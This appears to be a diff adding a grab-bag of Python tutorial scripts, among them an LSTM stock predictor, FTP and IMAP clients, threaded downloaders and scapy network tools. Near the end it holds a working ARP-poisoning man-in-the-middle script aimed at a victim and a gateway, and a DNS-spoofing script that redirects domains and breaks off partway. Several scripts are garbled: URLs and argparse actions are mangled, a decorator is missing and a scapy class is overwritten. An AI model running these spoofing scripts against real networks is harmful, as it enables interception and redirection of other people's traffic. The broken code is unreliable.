+    # recognize (convert from speech to text)
+    text = r.recognize_google(audio_data)
+    print(text)
+
+
+
+
+import os
+import time
+from tensorflow.keras.layers import LSTM
+
+
+# Window size or the sequence length
+N_STEPS = 100
+# Lookup step, 1 is the next day
+LOOKUP_STEP = 90
+
+# test ratio size, 0.2 is 20%
+TEST_SIZE = 0.2
+# features to use
+FEATURE_COLUMNS = ["adjclose", "volume", "open", "high", "low"]
+# date now
+date_now = time.strftime("%Y-%m-%d")
+
+### model parameters
+
+N_LAYERS = 3
+# LSTM cell
+CELL = LSTM
+# 256 LSTM neurons
+UNITS = 256
+# 40% dropout
+DROPOUT = 0.4
+
+### training parameters
+
+# mean squared error loss
+LOSS = "mse"
+OPTIMIZER = "rmsprop"
+BATCH_SIZE = 64
+EPOCHS = 300
+
+# Apple stock market
+ticker = "AAPL"
+ticker_data_filename = os.path.join("data", f"{ticker}_{date_now}.csv")
+# model name to save
+model_name = f"{date_now}_{ticker}-{LOSS}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}"
+
+
+
+
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.layers import LSTM, Dense, Dropout
+from sklearn import preprocessing
+from sklearn.model_selection import train_test_split
+from yahoo_fin import stock_info as si
+from collections import deque
+
+import numpy as np
+import pandas as pd
+import random
+
+
+def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, 
+                test_size=0.2, feature_columns=['adjclose', 'volume', 'open', 'high', 'low']):
+    """
+    Loads data from Yahoo Finance source, as well as scaling, shuffling, normalizing and splitting.
+    Params:
+        ticker (str/pd.DataFrame): the ticker you want to load, examples include AAPL, TESL, etc.
+        n_steps (int): the historical sequence length (i.e window size) used to predict, default is 50
+        scale (bool): whether to scale prices from 0 to 1, default is True
+        shuffle (bool): whether to shuffle the data, default is True
+        lookup_step (int): the future lookup step to predict, default is 1 (e.g next day)
+        test_size (float): ratio for test data, default is 0.2 (20% testing data)
+        feature_columns (list): the list of features to use to feed into the model, default is everything grabbed from yahoo_fin
+    """
+    # see if ticker is already a loaded stock from yahoo finance
+    if isinstance(ticker, str):
+        # load it from yahoo_fin library
+        df = si.get_data(ticker)
+    elif isinstance(ticker, pd.DataFrame):
+        # already loaded, use it directly
+        df = ticker
+    else:
+        raise TypeError("ticker can be either a str or a pd.DataFrame instances")
+
+    # this will contain all the elements we want to return from this function
+    result = {}
+    # we will also return the original dataframe itself
+    result['df'] = df.copy()
+
+    # make sure that the passed feature_columns exist in the dataframe
+    for col in feature_columns:
+        assert col in df.columns
+
+    if scale:
+        column_scaler = {}
+        # scale the data (prices) from 0 to 1
+        for column in feature_columns:
+            scaler = preprocessing.MinMaxScaler()
+            df[column] = scaler.fit_transform(np.expand_dims(df[column].values, axis=1))
+            column_scaler[column] = scaler
+
+        # add the MinMaxScaler instances to the result returned
+        result["column_scaler"] = column_scaler
+
+    # add the target column (label) by shifting by lookup_step
+    df['future'] = df['adjclose'].shift(-lookup_step)
+
+    # last lookup_step columns contains NaN in future column
+    # get them before droping NaNs
+    last_sequence = np.array(df[feature_columns].tail(lookup_step))
+    
+    # drop NaNs
+    df.dropna(inplace=True)
+
+    sequence_data = []
+    sequences = deque(maxlen=n_steps)
+
+    for entry, target in zip(df[feature_columns].values, df['future'].values):
+        sequences.append(entry)
+        if len(sequences) == n_steps:
+            sequence_data.append([np.array(sequences), target])
+
+    # get the last sequence by appending the last n_step sequence with lookup_step sequence
+    # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 59 (that is 50+10-1) length
+    # this last_sequence will be used to predict in future dates that are not available in the dataset
+    last_sequence = list(sequences) + list(last_sequence)
+    # shift the last sequence by -1
+    last_sequence = np.array(pd.DataFrame(last_sequence).shift(-1).dropna())
+    # add to result
+    result['last_sequence'] = last_sequence
+    
+    # construct the X's and y's
+    X, y = [], []
+    for seq, target in sequence_data:
+        X.append(seq)
+        y.append(target)
+
+    # convert to numpy arrays
+    X = np.array(X)
+    y = np.array(y)
+
+    # reshape X to fit the neural network
+    X = X.reshape((X.shape[0], X.shape[2], X.shape[1]))
+    
+    # split the dataset
+    result["X_train"], result["X_test"], result["y_train"], result["y_test"] = train_test_split(X, y, 
+                                                                                test_size=test_size, shuffle=shuffle)
+    # return the result
+    return result
+
+
+def create_model(input_length, units=256, cell=LSTM, n_layers=2, dropout=0.3,
+                loss="mean_absolute_error", optimizer="rmsprop"):
+    model = Sequential()
+    for i in range(n_layers):
+        if i == 0:
+            # first layer
+            model.add(cell(units, return_sequences=True, input_shape=(None, input_length)))
+        elif i == n_layers - 1:
+            # last layer
+            model.add(cell(units, return_sequences=False))
+        else:
+            # hidden layers
+            model.add(cell(units, return_sequences=True))
+        # add dropout after each layer
+        model.add(Dropout(dropout))
+    
+    model.add(Dense(1, activation="linear"))
+    model.compile(loss=loss, metrics=["mean_absolute_error"], optimizer=optimizer)
+
+    return model
+
+
+
+
+from stock_prediction import create_model, load_data, np
+from parameters import *
+import matplotlib.pyplot as plt
+from sklearn.metrics import accuracy_score
+
+def plot_graph(model, data):
+    y_test = data["y_test"]
+    X_test = data["X_test"]
+    y_pred = model.predict(X_test)
+    y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0)))
+    y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred))
+    plt.plot(y_test[-200:], c='b')
+    plt.plot(y_pred[-200:], c='r')
+    plt.xlabel("Days")
+    plt.ylabel("Price")
+    plt.legend(["Actual Price", "Predicted Price"])
+    plt.show()
+
+
+def get_accuracy(model, data):
+    y_test = data["y_test"]
+    X_test = data["X_test"]
+    y_pred = model.predict(X_test)
+    y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0)))
+    y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred))
+    y_pred = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_pred[LOOKUP_STEP:]))
+    y_test = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_test[LOOKUP_STEP:]))
+    return accuracy_score(y_test, y_pred)
+
+
+def predict(model, data, classification=False):
+    # retrieve the last sequence from data
+    last_sequence = data["last_sequence"][:N_STEPS]
+    # retrieve the column scalers
+    column_scaler = data["column_scaler"]
+    # reshape the last sequence
+    last_sequence = last_sequence.reshape((last_sequence.shape[1], last_sequence.shape[0]))
+    # expand dimension
+    last_sequence = np.expand_dims(last_sequence, axis=0)
+    # get the prediction (scaled from 0 to 1)
+    prediction = model.predict(last_sequence)
+    # get the price (by inverting the scaling)
+    predicted_price = column_scaler["adjclose"].inverse_transform(prediction)[0][0]
+    return predicted_price
+
+
+# load the data
+data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE,
+                feature_columns=FEATURE_COLUMNS, shuffle=False)
+
+# construct the model
+model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,
+                    dropout=DROPOUT, optimizer=OPTIMIZER)
+
+model_path = os.path.join("results", model_name) + ".h5"
+model.load_weights(model_path)
+
+# evaluate the model
+mse, mae = model.evaluate(data["X_test"], data["y_test"])
+# calculate the mean absolute error (inverse scaling)
+mean_absolute_error = data["column_scaler"]["adjclose"].inverse_transform(mae.reshape(1, -1))[0][0]
+print("Mean Absolute Error:", mean_absolute_error)
+# predict the future price
+future_price = predict(model, data)
+print(f"Future price after {LOOKUP_STEP} days is {future_price:.2f}")
+print("Accuracy Score:", get_accuracy(model, data))
+plot_graph(model, data)
+
+
+
+
+from stock_prediction import create_model, load_data
+from tensorflow.keras.layers import LSTM
+from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard
+import os
+import pandas as pd
+from parameters import *
+
+
+# create these folders if they does not exist
+if not os.path.isdir("results"):
+    os.mkdir("results")
+
+if not os.path.isdir("logs"):
+    os.mkdir("logs")
+
+if not os.path.isdir("data"):
+    os.mkdir("data")
+
+# load the data
+data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, feature_columns=FEATURE_COLUMNS)
+
+# construct the model
+model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,
+                    dropout=DROPOUT, optimizer=OPTIMIZER)
+
+# some tensorflow callbacks
+checkpointer = ModelCheckpoint(os.path.join("results", model_name), save_weights_only=True, save_best_only=True, verbose=1)
+tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name))
+
+history = model.fit(data["X_train"], data["y_train"],
+                    batch_size=BATCH_SIZE,
+                    epochs=EPOCHS,
+                    validation_data=(data["X_test"], data["y_test"]),
+                    callbacks=[checkpointer, tensorboard],
+                    verbose=1)
+
+model.save(os.path.join("results", model_name) + ".h5")
+
+
+
+
+import ftplib
+
+FTP_HOST = "ftp.dlptest.com"
+FTP_USER = "dlpuserdlptest.com"
+FTP_PASS = "SzMf7rTE4pCrf9dV286GuNe4N"
+
+# connect to the FTP server
+ftp = ftplib.FTP(FTP_HOST, FTP_USER, FTP_PASS)
+# force UTF-8 encoding
+ftp.encoding = "utf-8"
+# the name of file you want to download from the FTP server
+filename = "some_file.txt"
+with open(filename, "wb") as file:
+    # use FTP's RETR command to download the file
+    ftp.retrbinary(f"RETR {filename}", file.write)
+
+# quit and close the connection
+ftp.quit()
+
+
+
+
+import ftplib
+
+# FTP server credentials
+FTP_HOST = "ftp.dlptest.com"
+FTP_USER = "dlpuserdlptest.com"
+FTP_PASS = "SzMf7rTE4pCrf9dV286GuNe4N"
+
+# connect to the FTP server
+ftp = ftplib.FTP(FTP_HOST, FTP_USER, FTP_PASS)
+# force UTF-8 encoding
+ftp.encoding = "utf-8"
+# local file name you want to upload
+filename = "some_file.txt"
+with open(filename, "rb") as file:
+    # use FTP's STOR command to upload the file
+    ftp.storbinary(f"STOR {filename}", file)
+# list current files & directories
+ftp.dir()
+# quit and close the connection
+ftp.quit()
+
+
+
+
+import random
+import os
+import string
+import secrets
+
+# generate random integer between a and b (including a and b)
+randint = random.randint(1, 500)
+print("randint:", randint)
+
+# generate random integer from range
+randrange = random.randrange(0, 500, 5)
+print("randrange:", randrange)
+
+# get a random element from this list
+choice = random.choice(["hello", "hi", "welcome", "bye", "see you"])
+print("choice:", choice)
+
+# get 5 random elements from 0 to 1000
+choices = random.choices(range(1000), k=5)
+print("choices:", choices)
+
+# generate a random floating point number from 0.0 <= x <= 1.0
+randfloat = random.random()
+print("randfloat between 0.0 and 1.0:", randfloat)
+
+# generate a random floating point number such that a <= x <= b
+randfloat = random.uniform(5, 10)
+print("randfloat between 5.0 and 10.0:", randfloat)
+
+l = list(range(10))
+print("Before shuffle:", l)
+random.shuffle(l)
+print("After shuffle:", l)
+
+# generate a random string
+randstring = ''.join(random.sample(string.ascii_letters, 16))
+print("Random string with 16 characters:", randstring)
+
+# crypto-safe byte generation
+randbytes_crypto = os.urandom(16)
+print("Random bytes for crypto use using os:", randbytes_crypto)
+
+# or use this
+randbytes_crypto = secrets.token_bytes(16)
+print("Random bytes for crypto use using secrets:", randbytes_crypto)
+
+# crypto-secure string generation
+randstring_crypto = secrets.token_urlsafe(16)
+print("Random strings for crypto use:", randstring_crypto)
+
+# crypto-secure bits generation
+randbits_crypto = secrets.randbits(16)
+print("Random 16-bits for crypto use:", randbits_crypto)
+
+
+
+
+import os
+
+# print the current directory
+print("The current directory:", os.getcwd())
+
+# make an empty directory (folder)
+os.mkdir("folder")
+# running mkdir again with the same name raises FileExistsError, run this instead:
+# if not os.path.isdir("folder"):
+#     os.mkdir("folder")
+# changing the current directory to 'folder'
+os.chdir("folder")
+# printing the current directory now
+print("The current directory changing the directory to folder:", os.getcwd())
+
+# go back a directory
+os.chdir("..")
+
+# make several nested directories
+os.makedirs("nested1/nested2/nested3")
+
+# create a new text file
+text_file = open("text.txt", "w")
+# write to this file some text
+text_file.write("This is a text file")
+
+# rename text.txt to renamed-text.txt
+os.rename("text.txt", "renamed-text.txt")
+
+# replace (move) this file to another directory
+os.replace("renamed-text.txt", "folder/renamed-text.txt")
+
+# print all files and folders in the current directory
+print("All folders & files:", os.listdir())
+
+# print all files & folders recursively
+for dirpath, dirnames, filenames in os.walk("."):
+    # iterate over directories
+    for dirname in dirnames:
+        print("Directory:", os.path.join(dirpath, dirname))
+    # iterate over files
+    for filename in filenames:
+        print("File:", os.path.join(dirpath, filename))
+# delete that file
+os.remove("folder/renamed-text.txt")
+# remove the folder
+os.rmdir("folder")
+
+# remove nested folders
+os.removedirs("nested1/nested2/nested3")
+
+open("text.txt", "w").write("This is a text file")
+
+# print some stats about the file
+print(os.stat("text.txt"))
+
+# get the file size for example
+print("File size:", os.stat("text.txt").st_size)
+
+
+
+
+import ftplib
+import os
+from datetime import datetime
+
+FTP_HOST = "ftp.ed.ac.uk"
+FTP_USER = "anonymous"
+FTP_PASS = ""
+
+# some utility functions that we gonna need
+def get_size_format(n, suffix="B"):
+    # converts bytes to scaled format (e.g KB, MB, etc.)
+    for unit in ["", "K", "M", "G", "T", "P"]:
+        if n < 1024:
+            return f"{n:.2f}{unit}{suffix}"
+        n /= 1024
+
+
+def get_datetime_format(date_time):
+    # convert to datetime object
+    date_time = datetime.strptime(date_time, "%Y%m%d%H%M%S")
+    # convert to human readable date time string
+    return date_time.strftime("%Y/%m/%d %H:%M:%S")
+
+
+# initialize FTP session
+ftp = ftplib.FTP(FTP_HOST, FTP_USER, FTP_PASS)
+# force UTF-8 encoding
+ftp.encoding = "utf-8"
+# print the welcome message
+print(ftp.getwelcome())
+# change the current working directory to 'pub' folder and 'maps' subfolder
+ftp.cwd("pub/maps")
+
+# LIST a directory
+print("*"*50, "LIST", "*"*50)
+ftp.dir()
+
+# NLST command
+print("*"*50, "NLST", "*"*50)
+print("{:20} {}".format("File Name", "File Size"))
+for file_name in ftp.nlst():
+    file_size = "N/A"
+    try:
+        ftp.cwd(file_name)
+    except Exception as e:
+        ftp.voidcmd("TYPE I")
+        file_size = get_size_format(ftp.size(file_name))
+    print(f"{file_name:20} {file_size}")
+
+
+print("*"*50, "MLSD", "*"*50)
+# using the MLSD command
+print("{:30} {:19} {:6} {:5} {:4} {:4} {:4} {}".format("File Name", "Last Modified", "Size",
+                                                    "Perm","Type", "GRP", "MODE", "OWNER"))
+for file_data in ftp.mlsd():
+    # extract returning data
+    file_name, meta = file_data
+    # i.e directory, file or link, etc
+    file_type = meta.get("type")
+    if file_type == "file":
+        # if it is a file, change type of transfer data to IMAGE/binary
+        ftp.voidcmd("TYPE I")
+        # get the file size in bytes
+        file_size = ftp.size(file_name)
+        # convert it to human readable format (i.e in 'KB', 'MB', etc)
+        file_size = get_size_format(file_size)
+    else:
+        # not a file, may be a directory or other types
+        file_size = "N/A"
+    # date of last modification of the file
+    last_modified = get_datetime_format(meta.get("modify"))
+    # file permissions
+    permission = meta.get("perm")
+    
+    # get the file unique id
+    unique_id = meta.get("unique")
+    # user group
+    unix_group = meta.get("unix.group")
+    # file mode, unix permissions 
+    unix_mode = meta.get("unix.mode")
+    # owner of the file
+    unix_owner = meta.get("unix.owner")
+    # print all
+    print(f"{file_name:30} {last_modified:19} {file_size:7} {permission:5} {file_type:4} {unix_group:4} {unix_mode:4} {unix_owner}")
+
+
+# quit and close the connection
+ftp.quit()
+
+
+
+
+import imaplib
+import email
+from email.header import decode_header
+import webbrowser
+import os
+
+# account credentials
+username = "youremailaddressprovider.com"
+password = "yourpassword"
+
+# number of top emails to fetch
+N = 3
+
+# create an IMAP4 class with SSL, use your email provider's IMAP server
+imap = imaplib.IMAP4_SSL("imap.gmail.com")
+# authenticate
+imap.login(username, password)
+
+# select a mailbox (in this case, the inbox mailbox)
+# use imap.list() to get the list of mailboxes
+status, messages = imap.select("INBOX")
+
+# total number of emails
+messages = int(messages[0])
+
+for i in range(messages-4, messages-N-4, -1):
+    # fetch the email message by ID
+    res, msg = imap.fetch(str(i), "(RFC822)")
+    for response in msg:
+        if isinstance(response, tuple):
+            # parse a bytes email into a message object
+            msg = email.message_from_bytes(response[1])
+            # decode the email subject
+            subject = decode_header(msg["Subject"])[0][0]
+            if isinstance(subject, bytes):
+                # if it's a bytes, decode to str
+                subject = subject.decode()
+            # email sender
+            from_ = msg.get("From")
+            print("Subject:", subject)
+            print("From:", from_)
+            # if the email message is multipart
+            if msg.is_multipart():
+                # iterate over email parts
+                for part in msg.walk():
+                    # extract content type of email
+                    content_type = part.get_content_type()
+                    content_disposition = str(part.get("Content-Disposition"))
+                    try:
+                        # get the email body
+                        body = part.get_payload(decode=True).decode()
+                    except:
+                        pass
+                    if content_type == "text/plain" and "attachment" not in content_disposition:
+                        # print text/plain emails and skip attachments
+                        print(body)
+                    elif "attachment" in content_disposition:
+                        # download attachment
+                        filename = part.get_filename()
+                        if filename:
+                            if not os.path.isdir(subject):
+                                # make a folder for this email (named after the subject)
+                                os.mkdir(subject)
+                            filepath = os.path.join(subject, filename)
+                            # download attachment and save it
+                            open(filepath, "wb").write(part.get_payload(decode=True))
+            else:
+                # extract content type of email
+                content_type = msg.get_content_type()
+                # get the email body
+                body = msg.get_payload(decode=True).decode()
+                if content_type == "text/plain":
+                    # print only text email parts
+                    print(body)
+            if content_type == "text/html":
+                # if it's HTML, create a new HTML file and open it in browser
+                if not os.path.isdir(subject):
+                    # make a folder for this email (named after the subject)
+                    os.mkdir(subject)
+                filename = f"{subject[:50]}.html"
+                filepath = os.path.join(subject, filename)
+                # write the file
+                open(filepath, "w").write(body)
+                # open in the default browser
+                webbrowser.open(filepath)
+
+            print("="*100)
+
+# close the connection and logout
+imap.close()
+imap.logout()
+
+
+
+
+import requests
+from concurrent.futures import ThreadPoolExecutor
+from time import perf_counter
+
+# number of threads to spawn
+n_threads = 5
+
+# read 1024 bytes every time 
+buffer_size = 1024
+
+
+def download(url):
+    # download the body of response by chunk, not immediately
+    response = requests.get(url, stream=True)
+    # get the file name
+    filename = url.split("/")[-1]
+    with open(filename, "wb") as f:
+        for data in response.iter_content(buffer_size):
+            # write data read to the file
+            f.write(data)
+
+
+if __name__ == "__main__":
+    urls = [
+        "https://cdn.pixabay.com/photo/2018/01/14/23/12/nature-3082832__340.jpg",
+        "https://cdn.pixabay.com/photo/2013/10/02/23/03/dawn-190055__340.jpg",
+        "https://cdn.pixabay.com/photo/2016/10/21/14/50/plouzane-1758197__340.jpg",
+        "https://cdn.pixabay.com/photo/2016/11/29/05/45/astronomy-1867616__340.jpg",
+        "https://cdn.pixabay.com/photo/2014/07/28/20/39/landscape-404072__340.jpg",
+    ] * 5
+
+    t = perf_counter()
+    with ThreadPoolExecutor(max_workers=n_threads) as pool:
+        pool.map(download, urls)
+    print(f"Time took: {perf_counter() - t:.2f}s")
+
+
+
+
+import requests
+
+from threading import Thread
+from queue import Queue
+
+# thread-safe queue initialization
+q = Queue()
+# number of threads to spawn
+n_threads = 5
+
+# read 1024 bytes every time 
+buffer_size = 1024
+
+def download():
+    global q
+    while True:
+        # get the url from the queue
+        url = q.get()
+        # download the body of response by chunk, not immediately
+        response = requests.get(url, stream=True)
+        # get the file name
+        filename = url.split("/")[-1]
+        with open(filename, "wb") as f:
+            for data in response.iter_content(buffer_size):
+                # write data read to the file
+                f.write(data)
+        # we're done downloading the file
+        q.task_done()
+
+
+if __name__ == "__main__":
+    urls = [
+        "https://cdn.pixabay.com/photo/2018/01/14/23/12/nature-3082832__340.jpg",
+        "https://cdn.pixabay.com/photo/2013/10/02/23/03/dawn-190055__340.jpg",
+        "https://cdn.pixabay.com/photo/2016/10/21/14/50/plouzane-1758197__340.jpg",
+        "https://cdn.pixabay.com/photo/2016/11/29/05/45/astronomy-1867616__340.jpg",
+        "https://cdn.pixabay.com/photo/2014/07/28/20/39/landscape-404072__340.jpg",
+    ] * 5
+
+    # fill the queue with all the urls
+    for url in urls:
+        q.put(url)
+
+    # start the threads
+    for t in range(n_threads):
+        worker = Thread(target=download)
+        # daemon thread means a thread that will end when the main thread ends
+        worker.daemon = True
+        worker.start()
+
+    # wait until the queue is empty
+    q.join()
+
+
+
+
+import requests
+from time import perf_counter
+
+# read 1024 bytes every time 
+buffer_size = 1024
+
+def download(url):
+    # download the body of response by chunk, not immediately
+    response = requests.get(url, stream=True)
+    # get the file name
+    filename = url.split("/")[-1]
+    with open(filename, "wb") as f:
+        for data in response.iter_content(buffer_size):
+            # write data read to the file
+            f.write(data)
+
+
+if __name__ == "__main__":
+    urls = [
+        "https://cdn.pixabay.com/photo/2018/01/14/23/12/nature-3082832__340.jpg",
+        "https://cdn.pixabay.com/photo/2013/10/02/23/03/dawn-190055__340.jpg",
+        "https://cdn.pixabay.com/photo/2016/10/21/14/50/plouzane-1758197__340.jpg",
+        "https://cdn.pixabay.com/photo/2016/11/29/05/45/astronomy-1867616__340.jpg",
+        "https://cdn.pixabay.com/photo/2014/07/28/20/39/landscape-404072__340.jpg",
+    ] * 5
+
+    t = perf_counter()
+    for url in urls:
+        download(url)
+    print(f"Time took: {perf_counter() - t:.2f}s")
+
+
+
+
+from scapy.all import Ether, ARP, srp, sniff, conf
+
+def get_mac(ip):
+    """
+    Returns the MAC address of ip, if it is unable to find it
+    for some reason, throws IndexError
+    """
+    p = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip)
+    result = srp(p, timeout=3, verbose=False)[0]
+    return result[0][1].hwsrc
+
+
+def process(packet):
+    # if the packet is an ARP packet
+    if packet.haslayer(ARP):
+        # if it is an ARP response (ARP reply)
+        if packet[ARP].op == 2:
+            try:
+                # get the real MAC address of the sender
+                real_mac = get_mac(packet[ARP].psrc)
+                # get the MAC address from the packet sent to us
+                response_mac = packet[ARP].hwsrc
+                # if they're different, definetely there is an attack
+                if real_mac != response_mac:
+                    print(f"[!] You are under attack, REAL-MAC: {real_mac.upper()}, FAKE-MAC: {response_mac.upper()}")
+            except IndexError:
+                # unable to find the real mac
+                # may be a fake IP or firewall is blocking packets
+                pass
+
+
+if __name__ == "__main__":
+    import sys
+    try:
+        iface = sys.argv[1]
+    except IndexError:
+        iface = conf.iface
+    sniff(store=False, prn=process, iface=iface)
+
+
+
+
+from scapy.all import Ether, ARP, srp, send
+import argparse
+import time
+import os
+import sys
+
+def _enable_linux_iproute():
+    """
+    Enables IP route ( IP Forward ) in linux-based distro
+    """
+    file_path = "/proc/sys/net/ipv4/ip_forward"
+    with open(file_path) as f:
+        if f.read() == 1:
+            # already enabled
+            return
+    with open(file_path, "w") as f:
+        print(1, file=f)
+
+
+def _enable_windows_iproute():
+    """
+    Enables IP route (IP Forwarding) in Windows
+    """
+    from services import WService
+    # enable Remote Access service
+    service = WService("RemoteAccess")
+    service.start()
+
+
+def enable_ip_route(verbose=True):
+    """
+    Enables IP forwarding
+    """
+    if verbose:
+        print("[!] Enabling IP Routing...")
+    _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
+    if verbose:
+        print("[!] IP Routing enabled.")
+
+
+def get_mac(ip):
+    """
+    Returns MAC address of any device connected to the network
+    If ip is down, returns None instead
+    """
+    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
+    if ans:
+        return ans[0][1].src
+        
+
+def spoof(target_ip, host_ip, verbose=True):
+    """
+    Spoofs target_ip saying that we are host_ip.
+    it is accomplished by changing the ARP cache of the target (poisoning)
+    """
+    # get the mac address of the target
+    target_mac = get_mac(target_ip)
+    # craft the arp 'is-at' operation packet, in other words an ARP response
+    # we don't specify 'hwsrc' (source MAC address)
+    # because by default, 'hwsrc' is the real MAC address of the sender (ours)
+    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
+    # send the packet
+    # verbose = 0 means that we send the packet without printing any thing
+    send(arp_response, verbose=0)
+    if verbose:
+        # get the MAC address of the default interface we are using
+        self_mac = ARP().hwsrc
+        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))
+
+
+def restore(target_ip, host_ip, verbose=True):
+    """
+    Restores the normal process of a regular network
+    This is done by sending the original informations 
+    (real IP and MAC of host_ip ) to target_ip
+    """
+    # get the real MAC address of target
+    target_mac = get_mac(target_ip)
+    # get the real MAC address of spoofed (gateway, i.e router)
+    host_mac = get_mac(host_ip)
+    # crafting the restoring packet
+    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
+    # sending the restoring packet
+    # to restore the network to its normal process
+    # we send each reply seven times for a good measure (count=7)
+    send(arp_response, verbose=0, count=7)
+    if verbose:
+        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))
+
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(description="ARP spoof script")
+    parser.add_argument("target", help="Victim IP Address to ARP poison")
+    parser.add_argument("host", help="Host IP Address, the host you wish to intercept packets for (usually the gateway)")
+    parser.add_argument("-v", "--verbose", action="https://github.com/store_true", help="verbosity, default is True (simple message each second)")
+    args = parser.parse_args()
+    target, host, verbose = args.target, args.host, args.verbose
+
+    enable_ip_route()
+    try:
+        while True:
+            # telling the target that we are the host
+            spoof(target, host, verbose)
+            # telling the host that we are the target
+            spoof(host, target, verbose)
+            # sleep for one second
+            time.sleep(1)
+    except KeyboardInterrupt:
+        print("[!] Detected CTRL+C ! restoring the network, please wait...")
+        restore(target, host)
+        restore(host, target)
+
+
+
+
+import win32serviceutil
+import time
+
+
+class WService:
+
+    def __init__(self, service, machine=None, verbose=False):
+        self.service = service
+        self.machine = machine
+        self.verbose = verbose
+        
+    property
+    def running(self):
+        return win32serviceutil.QueryServiceStatus(self.service)[1] == 4
+
+    def start(self):
+        if not self.running:
+            win32serviceutil.StartService(self.service)
+            time.sleep(1)
+            if self.running:
+                if self.verbose:
+                    print(f"[+] {self.service} started successfully.")
+                return True
+            else:
+                if self.verbose:
+                    print(f"[-] Cannot start {self.service}")
+                return False
+        elif self.verbose:
+            print(f"[!] {self.service} is already running.")
+    
+    def stop(self):
+        if self.running:
+            win32serviceutil.StopService(self.service)
+            time.sleep(0.5)
+            if not self.running:
+                if self.verbose:
+                    print(f"[+] {self.service} stopped successfully.")
+                return True
+            else:
+                if self.verbose:
+                    print(f"[-] Cannot stop {self.service}")
+                return False
+        elif self.verbose:
+            print(f"[!] {self.service} is not running.")
+
+    def restart(self):
+        if self.running:
+            win32serviceutil.RestartService(self.service)
+            time.sleep(2)
+            if self.running:
+                if self.verbose:
+                    print(f"[+] {self.service} restarted successfully.")
+                return True
+            else:
+                if self.verbose:
+                    print(f"[-] Cannot start {self.service}")
+                return False
+        elif self.verbose:
+            print(f"[!] {self.service} is not running.")
+
+
+def main(action, service):
+    service = WService(service, verbose=True)
+    if action == "start":
+        service.start()
+    elif action == "stop":
+        service.stop()
+    elif action == "restart":
+        service.restart()
+
+    # getattr(remoteAccessService, action, "start")()
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Windows Service Handler")
+    parser.add_argument("service")
+    parser.add_argument("-a", "--action", help="action to do, 'start', 'stop' or 'restart'",
+                        action="https://github.com/store", required=True, dest="action")
+
+    given_args = parser.parse_args()
+
+    service, action = given_args.service, given_args.action
+
+    main(action, service)
+
+
+
+
+from scapy.all import *
+import time
+
+hosts = []
+Ether = 1
+
+
+def listen_dhcp():
+    # Make sure it is DHCP with the filter options
+    k = sniff(prn=print_packet, filter='udp and (port 67 or port 68)')
+
+def print_packet(packet):
+    target_mac, requested_ip, hostname, vendor_id = [None] * 4
+    if packet.haslayer(Ether):
+        target_mac = packet.getlayer(Ether).src
+    # get the DHCP options
+    dhcp_options = packet[DHCP].options
+    for item in dhcp_options:
+        try:
+            label, value = item
+        except ValueError:
+            continue
+        if label == 'requested_addr':
+            requested_ip = value
+        elif label == 'hostname':
+            hostname = value.decode()
+        elif label == 'vendor_class_id':
+            vendor_id = value.decode()
+        if target_mac and vendor_id and hostname and requested_ip and target_mac not in hosts:
+            hosts.append(target_mac)
+            time_now = time.strftime("[%Y-%m-%d - %H:%M:%S] ")
+            print("{}: {}  -  {} / {} requested {}".format(time_now, target_mac, hostname, vendor_id, requested_ip))
+
+
+if __name__ == "__main__":
+    listen_dhcp()
+
+
+
+
+from scapy.all import *
+from netfilterqueue import NetfilterQueue
+import os
+
+
+# DNS mapping records, feel free to add/modify this dictionary
+# for example, google.com will be redirected to 192.168.1.100
+dns_hosts = {
+    b"www.google.com.": "192.168.1.100",
+    b"google.com.": "192.168.1.100",
+    b"facebook.com.": "172.217.19.142"
+}
+
+
+def process_packet(packet):
+    """
+    Whenever a new packet is redirected to the netfilter queue,
+    this callback is called.
+    """
+    # convert netfilter queue packet to scapy packet
+    scapy_packet = IP(packet.get_payload())
+    if scapy_packet.haslayer(DNSRR):
+        # if the packet is a DNS Resource Record (DNS reply)
+        # modify the packet
+        print("[Before]:", scapy_packet.summary())
+        try:
+            scapy_packet = modify_packet(scapy_packet)
+        except IndexError:
+            # not UDP packet, this can be IPerror/UDPerror packets
+            pass
+        print("[After ]:", scapy_packet.summary())
+        # set back as netfilter queue packet
+        packet.set_payload(bytes(scapy_packet))
+    # accept the packet
+    packet.accept()
+
+
+def modify_packet(packet):
+    """
+    Modifies the DNS Resource Record packet ( the answer part)
+    to map our globally defined dns_hosts dictionary.
+    For instance, whenver we see a google.com answer, this function replaces 
+    the real IP address (172.217.19.142) with fake IP address (192.168.1.100)
+    """
+    # get the DNS question name, the domain name
+    qname = packet[DNSQR].qname
+    if qname not in dns_hosts:
+        # if the website isn't in our record
+        # we don't wanna modify that
+        print("no modification:", qname)
+        return packet
